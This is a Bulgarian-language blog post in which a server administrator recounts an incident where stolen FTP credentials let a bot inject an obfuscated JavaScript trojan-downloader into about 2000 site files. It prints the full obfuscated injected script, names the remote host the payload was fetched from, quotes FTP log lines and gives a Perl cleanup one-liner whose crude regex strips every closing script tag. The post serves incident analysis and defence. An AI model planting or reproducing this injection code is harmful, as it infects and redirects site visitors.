Хакнат
singu
Е, не chzv.net, а едно друго сървърче, на което стоят 2-3 сайта + отскоро и един TeamSpeak сървър.
Хронология на събитията:
- Получавам оплакване, че сървъра е “пълен с вируси”. Което технически няма как да е вярно - сървърчето се клати от Fedora, а както знаем, там вируси не виреят много-много.
- Поглеждам въпросната страница ( с Firefox под Windows ) и хоп - пренасочва ме към ya.ru. Както казват в някои среди WTF ?!?
Damage assessment/Поражения:
- отварям сорса на страницата, преди пренасочването и виждам следната малка сладка функцийка:
...
<script language=”JavaScript”>function sban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,11,37,34,6,59,58,31,19,3
3,0,0,0,0,0,0,27,36,25,30,26,13,9,57,43,22,55,46,56,35,47,60,53,16,28,14,52,51,0,40,24,49,17,0,0,0,0,61,0,62,5,3,12,38,15,2,8,
18,7,32,20,48,29,45,21,23,50,41,44,54,42,10,39,1,4);for(j=Math.ceil(l/b);j>0;j–){r=”;for(i=Math.min(l,b);i>0;i–,l–){w|=(t[
x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(172^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}sban(’QItrCJRmFULJC0
RAzMEuR@GkcuGJccdrc1XYgHOmc3_kdKnYhMEYZuFMzxRY18duZuFM7MnPVxRADqOJb5RYVqdup@FYbMdrF1tAQSXYw5nUyxtA’)</script><!– www.taifata.
be –></code>
<p id=”CUSTOM_HEADER”>
...
Мдааа… неприятно. Това малко сладко нещо се казва Trojan-downloader.js.agent.ko и ако човек е с Firefox, просто те праща на yandex, но ако си под IE, се опитва да стартира Microsoft Vector Rendering Add-on, заедно с нещо, което сваля от http://ls-networking.org/fresh01/index.php На въпросният адрес ни чака следната грешка:
т.е. каквото го е имало, вече го няма. Гледайки пътищата на системата, това е Apache 1.3, работещо под Windows - явно стара и неподдържана система. Е, явно няма да разберем какво точно прави скрипта, но моето предположение е, че ползва ето този екплойт( или подобен).
Attack vector/Направление на атаката:
Както и да е, да се върнем към сървърчето и да видим откъде са влезли. Бърза проверка на опитите за влизане не показва нищо - обичайните опити за bruteforce през SSH и FTP, които много бързо се пресичат от SSHBlack ( силно препоръчвам !).
Проверка на лог файла на FTP сървъра показа, че на практика всички файлове с разширения html и php са били модифицирани:
Thu Oct 25 04:34:03 2007 1 81.177.4.34 3862 /themes/simplicity/template.html b _ o r taifata ftp 0 * c
Thu Oct 25 04:34:04 2007 1 81.177.4.34 3862 /themes/simplicity/template.html b _ i r taifata ftp 0 * c
По-наблюдателните, които са запознати с лог-формата на vsFTPd ще кажат, че всъщност точно това не е модификация и са прави - тук някой от адрес 81.177.4.34 е свалил файла template.html и след това го е качил със същият размер. Ако обаче се заровим малко по-нагоре, ще видим как файлът всъщност вече е бил променен ( увеличен с няколкостотин байта ) и тук явно зле написан бот сваля файла, опитва се да го модифицира, вижда, че файлът вече е заразен, в резултат на което не го променя допълнително и въпреки това качва файла отново. Доста неефективно и мърляшки, но какво да се прави…
Как са влязли в машината обаче ? Единственият начин, за който се сещам е, ако вече знаят паролата на този потребител. Системата има няколко потребителя и в другите акаунти няма проблем. От друга страна проверка на лог-файловете показва, че HTML и PHP файловете са били модифицирани няколкократно ?!? Чак тогава си спомних за случай от преди няколко месеца, когато единият от хората, които имаха FTP достъп до машината, се оплака, че е успял да се зарази с някакъв троянски кон. Тогава въпросния троянец се беше логнал и беше окепазил само основният index.php, но явно освен всичко останало е пратил потребителя и паролата на създателя си. Естествено след този случай никой не се погрижи да смени паролите… Е, сърбаме си попарата.
Protection/Защита от бъдещи атаки:
Просто - сменяме паролата и толкоз. Е, понеже съм в заядливо настроение - ще пусна мейлове и до администраторите на мрежите, откъдето са модифицирали файловете.
Cleanup/Възстановяване:
И така… имаме към 2000 файла, в които е нашлякан кофти код. Няма страшно - имаме си Perl:
find . -name *html -exec perl -pi -w -e 's/\<\/script\>//g;’ {} \;
и voila - всички html файлове са изчистени.
Публикувано в Сигурност |














